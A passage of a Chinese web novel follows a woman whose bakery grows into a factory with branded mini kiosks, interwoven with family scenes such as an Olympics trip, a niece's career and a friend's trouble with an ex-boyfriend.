她私下去查之后,发现果然跟自己猜测的一样。 这么一来,这个人就不能随意打发,她不想跟对方同流合污,就得想个两全其美的办法。 赵如月为这事苦恼了好几天,每天绞尽脑汁去想,终于想出了一个合适的方式。 那就是让对方帮自己给其他单位牵线,相当于他就是个中介或者自带渠道的兼职渠道销售人员。 到时候给个中介费或者销售提成,这样一来她给对方的好处就可以过明路,中介费没有一个统一的标准,给多少个点的提成,完全可以看情况指定,定高一点也不会违反什么规定。 她自己顺便能开拓一点线下市场。 哪怕这个线下市场,并不是她急需的市场渠道,但多一个渠道对她的生意没坏处,这样又能不得罪人,也算是两全其美了。 当然如果对方不能接受,只想走歪门邪道的话,赵如月对这样的人就真的无话可说,宁愿得罪人也不会选择跟这个人合作了。 好在那个负责人不是那种爱走歪门邪道找刺激的那种人,也还没有想捞钱想到丧心病狂的地步,他只是想利用手里的这点权利,拿点好处,多挣点钱。 有时候手里有点权利,这点权利又不算多厉害,想把这点权利换成钱也不太容易。 现在可以有个光明正大的挣钱方式,那对他来说再好不过。 而且这个负责人自己算过,这样来钱的方式不但稳妥,他自己自带的渠道能顺利变现的话,能拿到的钱比捞回扣能拿到的多。 他自己单位小卖部的这一单也算在其中,双方签好合同后,赵如月就直接让财务把提成结算给他。 那厚厚的一沓钱,给人的冲击力是真的非常大。 于是在拿到第一笔钱后,那个负责人便开始一发不可收拾,不遗余力地投入到这项副业中。 赵如月本来只是想解决一个麻烦,完全没想到这个兼职‘员工’的业务能力那么强,竟然让她家的货在很多中小学和一些单位铺开了。 后来连省城以及省城附近县市的超市、便利店都来她家进货。 原本不被赵如月重视的线下渠道,慢慢地也随之被重视了起来。 赵如月又试着在线上花钱推广后,单子也开始暴涨。 不知道是不是现在没多少商家花钱给网站做推广,赵如月花的推广费在她看来根本不算多。 她以为效果不会特别好,只是刚好遇上活动,感觉挺优惠就报名了。 谁知道那点钱发挥出来的能量,完全出乎她的意料,甚至让她有些措手不及。 双线订单齐齐激增,工人从原来的正常上下班变成了三班倒,当然工资和各种福利也没少给,招人的工作同样持续着。 只是原先的那个仓库,还有仓库里分出来一块地方充当的操作间依然不够用了。 赵如月当机立断,趁着周边的土地价格还没上涨,反而因为省城继续往反方向扩张发展而降低,赶紧把仓库周边的地买下来,重新规划功能区,正式把一个仓库扩建成一个厂。 操作间从仓库里分离出来,放在了专门的生产车间。 不过在扩建期间,该完成的订单依然要继续完成,原先的操作间就没动。 为了不让扩建施工影响到产品的质量,原先的仓库就被围了起来,单独开一条路出货,跟其他区域施工的进出口分开,操作间也没有马上撤掉。 赵如月原本以为,建一个厂子对于自己来说是一件很难完成的事。 她这个年代的人从懂事起到长成大人的这段时间里,想到的最好的未来,也不过是能拿到一个铁饭碗,要么进公家单位吃皇粮,要么能进一个厂子当工人。 厂长,多么遥远、多么高大上的一个职位,曾经即便是在自己最美的梦里,也没敢梦自己以后能当上厂长。 以至于赵如月当初在买下妹妹妹夫的那块地后,根本没想过自家有钱、有店、宁绍明有手艺、有很受欢迎的配方。 自己可以用那块地建一个厂房,开一个面包厂。 可是当赵如月真正实实在在地去做之后,一步步地把厂子建起来,一个大的目标被拆分成小任务,一个一个地慢慢去实现。 自家的厂子初见雏形,她才意识到,原来有些事情看起来很难,去做之后并不需要多厉害的天赋,也不是很难。 中间也有遇到过问题,可她要做的又不是什么需要摸着石头过河的高精尖创新行业,食品行业很多东西已经趋近成熟了,几乎所有问题都有前人遇到过。 她并不是第一个遇到的人,也不是最后一个,绝大部分问题完全可以参照学习别人的经验,再结合自己的情况去解决。 只看自己知不知道如何去搜寻相关的信息,有时候能不能成功看的就是信息差。 恰好她还真有不少办法搜寻到很多信息,现在的网路可真是个好东西。 目前她还没遇到过利用这种方式解决不了的问题。 在建厂期间,赵如月甚至还能在八月份,抽空带着孩子去了一趟首都,看奥运开幕式,还有范小蓉送给她那几张门票的比赛。 三个孩子以前在网上自己开网店给人当小翻译,但没见过活的外国人。 来一次首都,一次见到那么多活老外,一出酒店的门,他们三个就开始非常社牛地‘hello、hello’个不停。 连平时话最少的姚据,也跟着一起到处找老外唠。 最初因为他们平时学的多是哑巴英语,听读写虽然都做过不少,但对话的机会很少,口语并不是很好。 结果没过几天,他们从早到晚找老外唠嗑,聊得多了,一个个说起外语来就流利得不行。 还交到了好些外国笔友,跟人家互换了各种联系方式,约着以后继续联系。 把赵如月和宁绍明看得目瞪口呆,说是他们带孩子出来玩,到后面反而变成几个孩子带着他们玩。 那几场比赛看完,孩子们觉得没看过瘾,还临时买了几个不那么热门的比赛门票,又去看了几场,买了不少奥运纪念品回来到处送人。 孙佳佳生完孩子还没出月子,给他们家的那份,赵如月和宁绍明就亲自带着两个孩子一起送过去,顺便探望她和他们家宝宝。 原本赵如月和宁绍明想让王海燕帮忙照顾黄秀华几天,孙佳佳那时候还没生,离预产期也不算近,他们带着两家还能远行的老人一起去首都玩一趟,及时回来就行。 毕竟对于老一辈人来说,首都就是他们的信仰,要是能去一次,就是马上死也能闭眼了。 谁知道苏佳佳肚子里的孩子有点着急,提前闹着要出来。 王海燕得照顾她月子,没法腾出手来照看黄秀华,带老人一起出游的计划就暂时搁置了,只能下次再找机会带老人们出去玩。 孙佳佳对他们带回来的纪念品爱不释手,有些遗憾地说:“可惜我没出月子错过了,要是早点要孩子就好了,还能带孩子一起去,这种事以后可不一定能再遇上。 其实就算买不到开幕式的票,没法亲自到现场去看,趁着奥运去首都旅游一趟,亲自去现场看看比赛也不错呢。” 赵如月安慰她道:“只要活得久,以后什么都能遇上。” 孙佳佳以为她只是在安慰自己,笑过就让这事过去了。 跟赵如月说起办满月酒的事来:“爸去世还不到一年,我们不打算大办,到时候回老家,自家亲戚一起吃个饭就算了。” “回老家办?那时候天凉了,孩子还小,带回去受了风可不好,你们什么时候回去提前跟我说一声,我开车来接你们,到时候出门直接上车,车子开到家门口,下车直接进屋。” “谢谢三婶。”孙佳佳本来也想请赵如月帮忙,没想到还没开口,三婶就主动提出来了,这让孙佳佳心里更感激她的帮助。 她和宁时春也想过买车,可惜遇上了公公生病、去世,后面孩子又提前出生,这事就一直往后推,给耽误了。 现在孩子还小,孙佳佳短时间内没办法去店里帮忙,老家那边如果不在家充当景区的工作人员,景区那边是不给发工资的。 分红也要等过年前那段时间才发。 现在他们家里,相当于只有宁时春一个人在挣钱,对于买车这事,他们更谨慎了。 估计在孙佳佳能腾出手来,去店里干活之前,车子都不考虑买。 赵如月一家探望过孙佳佳和孩子,站起身正要回家,还没出门就遇上了也来探望孙佳佳的林丽丽。 第157章 林丽丽脸上的疲惫,让赵如月感到诧异。 赵如月极少在她脸上看到这样的神色,以往林丽丽不管什么时候,给人的面貌都是精气勃发的样子。 即使是当初要跟那个她爱得死去活来的磊哥分手的时候,她表现出来的也更多是气愤,以及由气愤激发出来的斗志,完全没显露出疲态。 “三婶,你这就要走了?”林丽丽努力扬起笑容来,那笑中却仿佛泛着苦味,也不如以往那样像个小太阳一般灿烂了。 赵如月看出她似乎有什么话想说,就让宁绍明带着两个孩子先回家,等她聊完再自己回去。 “本来看过佳佳和她家宝宝,正打算回去,不过我们有一段时间没见了,你刚来,我怎么也得多坐会儿,跟你多聊几句。” 林丽丽听到她的话,脸上的笑容消去了些许沉重:“那我买点好吃的,再买点饮料来,我们边吃边聊?” 孙佳佳在旁边故作嫌弃:“喂喂喂,你是不是忘了我现在还在坐月子,得吃月子餐?别的好吃的,我只能看不能吃,你买好吃的来也太折磨我了,可当个人吧!” 林丽丽坏笑:“就是要馋你!大不了等我以后生娃坐月子的时候,你也给我还击回来!” 不过她也就是开个玩笑,没真出去买东西来吃,孙佳佳这边生完孩子后,来探望的亲戚送的礼,他们家吃都吃不完,有些孙佳佳没法吃,也是要拿出来招待客人的,根本不需要再买了。 而且现在面前就算摆着山珍海味,林丽丽也吃不下。 王海燕出门买菜去了,孙佳佳家里只有她和孩子在,她们说话不需要顾忌什么。 赵如月就直接说道:“我刚才看你一副愁眉苦脸的样子,哪家店生意出问题还是怎么了?” “不是生意上的事,”如果是生意上的事倒是好了,她总能想办法去解决,现在遇上的事,就像被牛皮糖黏上似的,甩也甩不开,用手去扯反而又让手也沾上了,“是感情上的事。” “哦……”这个赵如月就不好多说什么了。 感情上的事,一般最好让人家两个人自己解决,千万别掺和一点,掺和进去的人越多越乱。 赵如月对别人的感情不发表任何见解。 但是作为关系比较好的长辈兼朋友,倒是能当个倾听者,也许陷入感情问题的人,把话说出来,心里就能好受多了,并不需要别人的建议。 对此,她只需要说一句:“发生了什么事,让你为难成这样?” 果不其然,只需要这么一句话,林丽丽的倾诉欲就控制不住了,那话噼里啪啦地往外蹦:“就是我那个前男友,他不知道发什么疯,竟然又来纠缠我,问题是他都跟别人订婚了,再来找我这不是害我么!” “我刚开始还以为他是真对我感情很深,所以才这么念念不忘,谁知道他打的一手好算盘!还想让我陪他去参加饭局,帮他撑场面拉关系!他到底把我当成什么了!” “我现在才明白,当初的自己真是傻,以为陪他去饭局,帮他跟别人谈生意是作为正牌女友、未来准老板娘该做的事,觉得我们是一体的,帮助他的事业,也相当于给我们未来的家和孩子多积攒些东西。 结果人家根本不是这么想的,人家算计得可精明,根本看不起我这个人,就是想利用我,利用完了,随便给点东西就把我给甩了! 亏得我还觉得分手的时候,他给我那么些东西还挺大方,我那时候可真是瞎了眼!” 赵如月听到这里,就知道林丽丽不需要自己过多的担心,她没被纠葛的感情影响到判断能力。 林丽丽逮到可以倾诉的人,控制不止地把心里那股子委屈、不忿、痛恨、烦躁、无奈甚至恐惧,全部通过倾诉排解出来。 她越说越激动,也越说脑子越清醒,只是她依然感觉到十分疲倦。 “我知道我该远离这样的人,可是我不知道怎样才能彻底远离,有时候我被他死缠烂打到真想拿把刀砍死他!” 孙佳佳被她眼中突然冒出来的狠劲儿吓了一跳:“可不能乱来!你刚过上几年好日子,千万不能为了这样的人把自己毁了!” 林丽丽又苦笑起来:“我知道的,不用担心这个。” 她也是说说而已,实则心里很清醒,也知道自己这几年的日子过得有多快活,有钱还有时间,想去玩就去玩,不想上班就可以不上班。 以前她感情不顺,还羡慕过孙佳佳选对了对象,婚姻幸福美满,后来不知道什么时候起,她很少再羡慕别人了。 如果不是足够清醒的话,她现在就不会因为被前男友纠缠而烦躁疲倦成这样。 对于前男友的恨,很大一部分也是因为快活的日子被这个人打破,万一真踩了坑,这样的日子以后很有可能再也回不去了。 赵如月看到林丽丽有些纠结的神色,觉得她可能并不是不知道该怎么做,也许只是还没决定要不要做。 “你往后打算怎么办?” 林丽丽想了想说:“我现在还没想好,就先躲着他,往后怎么样,我还得认真想想,一直躲着也不是个事,我又不欠他的。” 赵如月点头:“那你好好规划,只要不是违法犯罪,违背道德,你觉得什么方法好用都能用,躲也行,就算能躲一辈子,那也是你的本事,只是千万要保护好自己的人身安全,别跟对方硬刚。 当然,能干净利落地断个干净更好,要不然拖久了,就怕对方没得到想要的结果,万一对你下手,伤害你就糟了。” 真被伤害了,也许还会归为感情纠纷,不但被伤害,后续还会被恶心一把,得不偿失。 赵如月其实还想说一些自己以前在新闻上看到的例子,只是担心把她们俩吓到,也怕自己说的时候露出一些不该在这时候出现的信息,自己却没察觉,脑中思来想去,最后还是没说。只提醒林丽丽要小心。 林丽丽其实也担心会发生这样的事,她开发廊,经常能接触到一些有钱的女人,她们遇到的故事不可谓不精彩。 只是这样精彩的故事听着是故事,发生在自己身上就是事故。 斟酌半天,林丽丽有些小心翼翼地问:“有一件事,我也纠结犹豫很久了,不知道我真做的话,算不算违背道德。” 赵如月和孙佳佳齐齐看向她:“什么事?” 林丽丽有些忸怩地说:“就是、就是我前男友以前的那个靠山,其实对我有意思,我本来不知道,但是我跟前男友分手后,他还是跟我来往,并且渐渐远离了我前男友,要不我那个前男友也不会又跑来纠缠我,他以为我还对当初没能嫁给他这事意难平……” 她真想说,那家伙真是想太多了! 现在想想他也不是那么有魅力,只是当初自己年纪小,又是第一次谈恋爱,头颅里装脑子的地方,全被恋爱脑占领了,才会对他有滤镜,爱得死去活来的。 清醒之后认真去思考那时候的行为,林丽丽都不知道自己那时候是真的爱他这个人,还是爱自己想象中的他。 赵如月皱眉问:“你说的那个人不会已婚吧?” 如果真已婚,那林丽丽这朵桃花,依然是朵烂桃花,跟对方有牵扯肯定是不道德的。 “他以前结过婚,有个女儿,但是早几年离婚了,现在也是单身状态。” 赵如月放心了:“单身啊,那就不算违背道德。” 至于对方离过婚,有孩子这事,其实如果不打算结婚,只是谈恋爱的话,利用对方,借一借对方的势,那些都不用考虑太多。 倒是孙佳佳一听,就觉得对于林丽丽来说不是个好选择。 自己好朋友找这样的一个男人,哪怕对方是个当官的,可他有孩子了,这么年轻就去当后妈,以后日子可不好过,怎么做都可能被挑刺。 而且现在不能生二胎,要是那个男人的女儿还跟他在一个户口,林丽丽都没法要一个自己的孩子了。 孙佳佳说:“我觉得这个男的也不是很好,你要不再找找看?你身边应该也有不少追求者吧,等你结了婚,那个磊哥应该不敢再找你帮忙了。” 林丽丽现在其实没什么结婚的心思,她只想尽快把磊哥这事解决掉,要不总是别纠缠,她是真的心累。 “确实有不少人追我,但是比那个男人优质的暂时还没有,目前他是追求我的人里,条件最好的一个,也是唯一一个能解决我目前困境的人。” 林丽丽又有些不好意思地说:“其实我只是想利用他来解决现在的问题,没想过跟他结婚。” 真要结婚的话,她肯定不愿意给人当后妈的,也不想找个年纪比自己大这么多的老公。 每次这么想,林丽丽都觉得自己这样的想法似乎不好,不是个好女人该有的想法。 可这就是她心里最真实的想法,要不是在赵如月和孙佳佳面前,她肯定不会说出来。 第158章 对于林丽丽的纠结,赵如月就说了几句:“你看看自己周围的男人,他们靠家里、靠老婆老丈人、靠这靠那,利用各种人和关系,只要他没揣着坏心思故意害人,只是利用身边能利用的东西,有人说过他们是坏男人吗?” 林丽丽和孙佳佳都不由顺着她的话去想。 “好像还真是……”没有人会去说这样的男人是坏男人,反而会觉得这个男人有能力右手腕、能够左右逢源很厉害。 林丽丽一下子就想开了,自己只是想借助一段感情,来解决一个麻烦,并不是想利用对方去害人。 而且她同样也会付出,只是不想结婚而已,又有什么错呢? 对方也不一定会想结婚呢,她想那些真是想得太早了,给自己徒增困扰。 不想结婚就不可以谈恋爱了吗? 林丽丽脑子里突然冒出来这么一个疑问。 她发现自己,不,不只是自己,而是大部分人,一谈恋爱好像全都是奔着结婚去的,竟然没有考虑过还有其他的选项。 “我得去问清楚。” 赵如月赞同道:“是该问清楚,把事情说开了,人家接不接受就看他自己的选择了。” 林丽丽拎起包:“那我先走了,赶紧问清楚。” 问清楚后,才能尽快把纠缠自己的前男友解决掉,要不这事总困扰着她,让她觉都睡不安稳。 一段时间没能去发廊,老顾客都有意见了,积攒下来那么多忠实客户可不容易。 林丽丽离开后,赵如月也回家了。 接着又是有一段时间没见到她,倒是过了几天,田清来找赵如月,赵如月从田清那边间接知道了林丽丽回去后的动作。 田清是来找赵如月租房子的。 “最近去我那里上网的人变多了,需要排队的时间越来越长,我想着这样下去不行,得赶紧扩大网吧的规模,不然这些客人我留不下,就要有人抢我的生意了。” 赵如月的那几套房子刚好空着,租给她倒是没问题,熟人要改造的话,也好商量。 只是有点担心:“你扩大规模的话,很容易引起县城工商部门的注意,没有营业执照,有可能会被关掉。” 田清开心地说道:“这个不用担心,营业执照我早就办下来了,三婶你可能不知道,自从丽丽跟那个磊哥分手,他就没法再靠着背后的靠山在这上面做手脚了以前他还能卡着这个的时候,县城的小黑网吧就不少,现在卡不住了,你往后在看看,肯定有别的网吧陆续开起来!” 田清现在跟家里和解了,之前又重新回去读书,有家庭和学历兜里,已经不需要靠开网吧来挣钱维持生活,对网吧的要求只有一个,不赔钱就行,所以她乐得看这个热闹。 不过开网吧也是她的兴趣爱好之一,她还是希望自己能尽量把这个事做得越来越好。 托以前早早定下网吧基调的福,现在她的竞争对象别说是县城,哪怕是全国都没有。 县城的女孩子就是喜欢去她家的网吧玩! 也不是没有媒体发现有这么一家特别的网吧,想采访她,但是她都没接受。 俗话说人怕出名猪怕壮,田清总觉得名气大之后,很多事情就容易不受自己控制。 这不管是对她,还是对来她网吧玩的女孩子都不是好事。 不管以后网吧这一行会怎么发展,田清都想尽量长久地保住这个独属于女孩子们的乐园。 田清说完正要说租房的事,又想起来一件事:“对了,最近那个磊哥的网吧被查出有消防隐患,还有其他好些地方有问题,他现在焦头烂额地处理那些事,我真想看看,等他处理完内部的事情,看到外面各种新网吧都开起来了,会是什么表情!” 赵如月听到这里,才意识到,林丽丽已经开始行动了,而且稳准狠地直戳她前男友的痛处。 那个男的为了保住自己的事业,以后估计不敢再纠缠她。 两个人聊着,把房租和交房租的形式商量好。 双方互相都比较信任对方,田清签了五年的租房合同,然后一次性付清了一年的房租,以后也是一年一交,给赵如月省了不少事。 赵如月也就在租金上给她了优惠,直接优惠了一个月的租金。 两个人谁也没因为是熟人就提出不用签合同。 签好租房合同后,赵如月把钥匙给她:“你要改造的时候跟我说一声就行。” 她的网吧是怎么个样子,赵如月很清楚,刚开始还是她帮忙弄好的,所以她要改造赵如月也不担心。 田清接过钥匙,应了一声,正准备走,又想起一件事。 “三婶,你家面包厂接受少量进货吗?” “你要给你的网吧进货?” 田清本来都站起来了,谈到这个,她又重新坐下:“我的客人们觉得总是吃泡面火腿肠都吃腻了,周边的店送东西上门又要收一两块钱的跑腿费。 我就想在我的网吧里设置一个小小的面包屋,就差不多像立式冰柜一样大,很多女孩子都喜欢吃面包和蛋糕,生意应该不会很差。” 生意主动送上门来,赵如月怎么可能会往外推,蚊子腿再小也是肉呢。 “可以,不过没必要去厂里拿货,太远了,量小的话,运过来还要运输成本,你准备好面包屋后告诉我,我跟我家那位说一声,到时候让店员开车定期给你送过去就行,价格也给你厂里出来的批发价。” 田清高兴地说道:“那太好了!” 她之前就想在自己的网吧里弄个小面包屋,只是担心自己在网吧弄这个会抢了赵如月家面包店的生意,另外也担心进货价和销售速度的问题。 现在这些都不是问题了,她那里客流量比以前大得多,现在的学生也比以前有钱,更舍得买东西吃了。 小小一个面包屋的商品量,她的网吧还不至于销不掉。 田清提出的这个事,倒是给赵如月提供了一个想法。 做连锁需要投入的时间精力和成本比较高,她家不做连锁,那是不是可以在别人的店,或者一些公共经营场所,比如酒店、游乐场、商场、超市、学校、车站之类的地方,放这么一个小小面包屋,专门卖自己家生产的面包和蛋糕呢? 她家的面包和蛋糕还可以按照原料、成本和制作难度的不同分为好几个档次,覆盖不同消费层次的消费场所和消费者。 每个档次的小小面包屋都设计成不同的样子。 赵如月越想越来劲,不过她也不敢确定这个尝试到底能不能行,就回家跟宁绍明商量。 毕竟是需要真金白银花钱去投入的东西,一个不好可是会亏本的。 “做生意哪能永远都是赚,”宁时秋无意中听到她跟宁绍明在讨论,没忍住走过来说,“想要赚钱,肯定是要冒一定风险的,一般是风险越大机会越大,但我觉得这件事是一件风险不算大,回报却不低的尝试,值得做。” 他之所以这么说,是因为很了解自己家的家底,做出这个尝试需要的成本并不算高,就算没成功也不会伤筋动骨,顶多赔进去一点前期的费用。 要是能做成了,以后用处可就大了,能做的可不只是卖面包和蛋糕,甚至不止于食品这一类商品。 还可以带动其他类型的商品,比如……盲盒卡片和小玩具。 宁时秋转了转手上的小卡片,这是小夏买泡面集卡多出来不要就塞给他的。 最近小夏特别沉迷于集干脆面里的小卡片,为了集卡,拿零花钱买了好多。 她一个人肯定是吃不完那么多干脆面的,不知道请朋友和同学吃了多少,才终于集齐了。 在听到爸妈商量的事后,宁时秋第一反应是,如果自己家的面包屋能铺开,以后是不是也能捎带着一起卖这一类商品? 儿子这么说,让赵如月觉得这事能成功的概率激增,她看向宁绍明:“那我们就试试?先从县城开始还是省城?” “你来决定就好,我听你的。”宁绍明没想法。 他现在每天沉迷于研究烘焙,要不是仓库那边扩建成厂,需要他去监工,还需要他跟建筑队沟通。 孩子也需要他和赵如月轮流去接送,他都想每天泡在厨房里。 以前是没机会,现在有钱了,很多次材料都买得起,试错机会多,他才这么一发不可收拾。 赵如月看向儿子,问儿子的意见。 宁时秋思索了一会儿说道:“省城吧,毕竟要进驻一些高端场所,如果能在省城站稳脚跟,在省内,不管去那个县市推广,省城的成功都能成为助力,尤其是走高端路线的面包屋,自上而下去推广,比自下而上容易得多。” 赵如月一想,是这么个道理,当初她和宁绍明在镇上开餐饮店,卖炒米粉的时候,不也是打着县城饭店才有的美食的旗号么。 确定要做之后,赵如月就开始做规划。 首先面包屋的样式需要找专业的人来设计,面包屋的外观、色调、陈设等等是有讲究的,视觉效果和包装也是商品的一部分。 这一点做好了,往往能带来意想不到的效果。 设计好之后还要申请商标,接着才去找厂家定做。 与此同时,她也要到处跑,找目标场所商场入驻的事。 第一个找的就是苏胜楠的公司,这公司有她的一份,入驻这事也就是走个过场。 不过亲姐妹也得明算账,场地费和代售分成该给还是会给。 这边放的面包屋算是员工福利,种类很多,价格明面上跟外面一样,但是每个员工都会发一张卡,充值后持卡购买,可以享受到优惠价。 以后过年过节,公司还会按照员工的表现,给员工充值不同的金额,当做过节福利。 赵如媛听说她要弄这个面包屋,也主动跟赵如月说,可以在她家的店放一个。 原本赵如月觉得在小龙虾店放面包屋不太搭,但是想到赵如媛店铺的位置,周边居民不少,放一个商品价格比较实惠的面包屋在这里,搭着些牛奶饮料之类的一起卖。 没准就有人在上班或者上学的路上路过,顺便就买了当早餐吃。 于是她也在赵如媛的两家小龙虾店门口各放了一个。 林丽丽也想在自己店里放一个来着,可她的店跟面包屋实在不搭,而且她家店的位置要么靠近商场商圈,要么直接就在商场商圈里。 赵如月已经在这些地方放了面包屋,就没必要再在她那里放了。 林丽丽感觉有点遗憾,自己没能帮上忙。 但是后面她给赵如月牵线了好几个地方,全都是赵如月觉得比较难拿下的地方。 第159章 正如宁时秋预料的那样,他们家的小小面包屋在省城打开局面并站稳脚跟以后,想要继续往下一级的县市推广,就比在省城推广时容易很多。 小小面包屋一在省城彻底铺开,赵如月预备的宣传立刻跟上。 这次她花了钱在本地的电视台投了广告,还特地赞助一个美食节目,专门把小小面包屋打造成省城特色的美食景点,类似后来的网红店。 一时间设计极具特色的小小面包屋在省内名声大噪,接着她又趁势推出小小面包屋衍生的小玩具、冰箱贴、贴纸、小毛绒完后、拼图、纪念品等等。 这些衍生的小玩意儿,可以单独购买,也可以办卡赠送,或者购买东西到一定数量获得。 每一样都专门找人精心设计,制作商也找的出品有保证的制作商。 原本赵如月还以为在电视上打广告要花很多钱,毕竟她总能看到一些新闻,说某某企业花了多少多少钱在哪个卫视投广告。 后来发现,也就央视一些特别好的时段,才能有天价的广告费。 在他们本地的电视台,除非想让电视台专门给自己做一档节目,要不然只是打个广告的话,需要花的钱根本没那么多。 不过这正好很符合赵如月家宣传小小面包屋的需求。 毕竟这些目前只有省城有,等到广告打出去,小小面包屋在省城的名气越来越大,也就到了往周边的县市铺开的好时候。 这个时候厂子也建好,工人和生产线也到位,可以加足马力去生产。 推广人员拿下哪个地方,工厂这边立刻可以给那边供货。 小小面包屋的名气不但借助广告扩散,也随着周边县市到省城游玩、办事或者走亲访友的人扩散到周边的县市。 到后面,甚至推广人员还没到,就有人通过广告和面包上留下的电话号码,打电话到厂里问:“省城的那个小小面包屋什么时候开到我们这里?” 推广员这钱挣得轻松,赵如月就把她大姐赵如艳家的大女儿周小梅塞进了厂里的销售部,让她也当推广员去了。 周小梅今年快十九岁,高中毕业没考上大学也没考上大专,原本毕业后就在家里跟着父母一起给景区干活。 可周小梅觉得以后家里的东西都是弟弟的,她要是嫁出去,就不能继续在景区干活挣钱了,除非她也嫁在镇上景区范围内的这几条街,或者不嫁人。 赵如艳倒是希望女儿嫁本地人,还找本地媒婆给她介绍对象。 但是周小梅在学校的时候,已经谈了个对象,她那对象跟她是同班同学,但是隔壁县城的。 她不愿意分手,赵如艳一气之下就放狠话说不管她了,随便她怎么样,以后日子过得不好可别回来哭之类的话。 周小梅也比较倔强,还真辞掉了景区的工作,跑来找赵如月,请她帮忙介绍个工作。 赵如月原本想让她跟宁绍明学手艺,女孩子做烘焙还是挺好的,以后不管是自己开店,还是在她家的面包店工作都可以。 收入肯定比在镇上的景区干活高,也会给她买社保。 唯一不太好的点是学徒期工资比较低,而且揉面这些活,每天都需要实实在在地出力气,一天的活做下来,身体还是比较累的。 周小梅试过之后觉得自己不太适应,又听说推广员的收入高,就跟赵如月说自己想做推广员。 赵如月本以为她只是受不了身体上的辛苦,又觉得推广员每天化着妆、穿着西装高跟鞋,不但收入高,看起来还更体面。 她可以理解年轻小姑娘更喜欢光鲜亮丽的体面工作,确认她面对陌生人不会怯场后,没多说什么就让她去了。 只是赵如月看外甥女为了对象跟家里闹,甚至还放弃了景区的工作,有点恋爱脑的样子,没忍住多提醒了她一句:挣到的钱千万要自己存好,最好谁也别给,也别那么老实,跟人说自己的真实收入。 赵如艳来问赵如月自己大女儿的工资是多少,赵如月也只跟她说了周小梅的底薪。 周小梅刚来赵如月这里工作的时候,赵如艳甚至还提出过,让赵如月只给周小梅留够生活费,然后把周小梅剩下的工资全打给她,赵如月也没答应。 后来周小梅攒够了钱,悄悄在市里买了房子,家里人谁也没告诉,只告诉了赵如月。 其实她做推广员也不太适应,因为家庭环境,她本来就是个相对内向的性格,只是为了能多挣钱,才逼着自己去适应,好在最后结果是好的,她确实克服了性格上的阻碍,挣够了自己想要的钱。 赵如月这时候才恍然大悟,这姑娘非但不是恋爱脑,脑子还非常清醒。 在清楚家里不可能给自己什么助力后,就在自己能力范围内,什么工作最挣钱就做什么。 拼命挣够钱后,买了一套婚前房当自己未来的嫁妆。 可惜到了谈婚论嫁的时候,男方想让她把那套房子卖了,再一起买一套。 周小梅不乐意,双方闹得很不愉快,她就跟那个对象分了。 转头又凭借这套市里的房子,找了个同样在市里有房子的本地男孩子。 周小梅刚进厂里当推广员的时候,也是赵如月忙完手头上的事情,可以稍稍多增加一些休息时间的时候。 厂子发展得蒸蒸日上,苏胜楠在省城站稳了脚跟,看到赵如月有空闲了,她就开始计划着往更大的城市发展。 毕竟在大城市,在职场里打拼的职业女性更多,她们公司的市场也更大。 只是公司的服务也得继续跟上才行,想要服务能跟得上,员工的培训必不可少,这就需要赵如月的帮助了。 在员工培训这方面,赵如月已经得心应手,很多新出的工具她自己上手很快,自己学过之后,又能迅速总结出一套方法,去教其他人,所以公司想要扩张,离不开她的帮助。 苏胜楠已经看好地方,还把买办公地址的钱全准备好了。 她受赵如月的影响,办公地址有能力买就优先考虑买下来,实在超出预算,或者没有合适的才会去租。 这时候即使是大城市,房价和地价都没有贵到离谱的程度,所以公司想买还是拿得出钱来的。 苏胜楠找赵如月说了自己想要把公司扩张到大城市的想法,第一个城市就是有熟人范小蓉在的羊城。 现在苏胜楠已经是一个十分成熟的商人,在公司业务和未来发展方面,她的想法没有偏差。 只是赵如月这边却不太能腾得出手:“我们家小秋快要中考了,以前孩子懂事,我们忙他们也能理解,只是我现在好不容易有点时间,没那么忙了,不管孩子有没有要求,都得多分给他一些注意力。 不能因为孩子懂事,就理所当然地真的不管了,中考虽然不是高考,但对孩子来说也是挺重要的一个节点,我不能错过。” 苏胜楠听完也表示理解:“那我先去羊城把地方定下来,员工培训的事,等小秋中考结束,你有时间了再说吧?” 赵如月:“可以,到时候小秋和小夏也放假了,他们好久没去羊城,我去那边正好能顺便带他们去玩玩,也探望一下小蓉。” 她孩子比较独立,中考前和中考期间确实不需要赵如月做什么。 但是她作为他们的母亲,哪怕什么都不做,就在家里待着,孩子学习累了走出书房,看到她在家里都会有一种安稳、安心的感觉。 赵如月戏称自己也就起到了一个吉祥物的作用。 中考的那几天,她跟宁绍明都放下的手头的事,去送考陪考,于是吉祥物的数量,从一个变成了两个。 宁绍明本来想给孩子多做点步骤比较多,制作难度比较大的好吃的,可也不敢做,担心自己做平时不常做的,孩子吃了肠胃反而突然出现问题。 两个大人比要考试的孩子还紧张。 宁时秋看他们那么紧张还反过来安慰他们:“爸爸妈妈你们不用担心,不管我考得好不好,都会有学校念书,我已经决定好了,高中要选省城的私立国际学校。” 以他的成绩,就算发挥失常也能考进去。 假如真的没考到那所学校的分数线,多花点钱也能进去。 赵如月一愣,忽然想起什么,忙问道:“你、你难道想出国留学?” “嗯,这是我很早之前就决定的,”他以前那么积极在网上挣钱,也有这个原因,“只是以前家里的条件还没有现在好,也没到要说的时候,我就没跟你们说。” 现在提前说出来,也是觉得以家里现在的经济条件,完全供得起自己,说出来父母不会觉得压力太大。 如果家里的条件还是跟以前一样,宁时秋也有别的计划。 要是高中毕业后没法出去留学,可以先在国内读大学,大学期间多赚钱,赚到足够的钱再出去读研。 反正他就是很想出去看看外面的世界,看个过瘾再回来。 赵如月看向旁边正在激情打游戏的女儿:“那小夏呢?哥哥想出去留学你去不去?” 她想着为了以后两个孩子的关系能一直这么好,作为家长要一碗水端平才行。 想要儿子在出去留学的期间,不在异国他乡过得太辛苦,家里肯定要给他不少钱。 给哥哥花多少钱,也该给妹妹花少不多的钱。 但宁时夏想都没想就摇头:“我才不去,我以后是要考军校,当飞行员的人!”她怕出国回来就不能当了。 两厢对比之下,宁时夏觉得自己还是不出国比较稳妥。 哥哥喜欢就让哥哥自己去,她已经不是三四岁的小孩子了,不会像小时候那样,什么都非要跟哥哥一样。 第160章 赵如月完全没想到,宁时秋和宁时夏竟然早早就把自己未来要走的路规划好。 而且不是简单地像写未来的梦想是什么之类的命题作文,而是有详细的计划。 除了最终目标是什么,他们还将每个阶段要做什么,全都做了出有可行性的计划,并且一步一步地去认真执行了。 作为家长当然是尽全力支持孩子对未来的规划。 宁时秋毫无悬念地成功在中考考出了好成绩,顺利进入他目标中定下的,省城的那所私立国际学校。 他还拿到了免学费的名额和学校的奖学金,不过在这所学校,国际班的学生就算可以免掉学费,还拿到了奖学金,需要的额外花销也不少。 